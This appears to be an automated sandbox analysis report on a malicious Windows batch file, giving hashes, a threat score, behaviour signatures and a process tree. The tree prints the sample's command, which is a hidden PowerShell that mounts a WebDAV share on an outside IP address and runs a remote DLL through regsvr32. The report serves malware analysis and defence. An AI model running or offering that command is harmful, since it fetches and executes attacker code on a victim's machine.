Analysis

  • max time kernel
    121s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    19/07/2024, 21:39

General

  • Target

    1853118517409721225.bat

  • Size

    15KB

  • MD5

    a9c8fd50ce84957848da0bdd5cce785e

  • SHA1

    c1ef2159a0f94be4201969819e98ab5c78f50089

  • SHA256

    b7ee151e31e158c02ae103895bec9263772ac05bd02e3494d66ebf32c197af67

  • SHA512

    c816312a9a022313c4d33480ec71f444bf181bace5735087defa75c759f67f28340fb95c647ae5846dcafe12271f58722b26dedeec10a5ae8319eaa834d128dc

  • SSDEEP

    384:4/E2RpQF+4ynxi+VHvaD6D6JbhjHYzqML0Tl9QattoaYSaLATH80LGkmETNa:0RG+ZnxiIHvaD6D6Vcm77YSamH5LGkmj

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\1853118517409721225.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2136
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:2832
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\288462999926177.dll
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2840
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2580
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\288462999926177.dll
          3⤵
            PID:2636

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/2840-23-0x000000001B540000-0x000000001B822000-memory.dmp

        Filesize

        2.9MB

      • memory/2840-24-0x0000000001DB0000-0x0000000001DB8000-memory.dmp

        Filesize

        32KB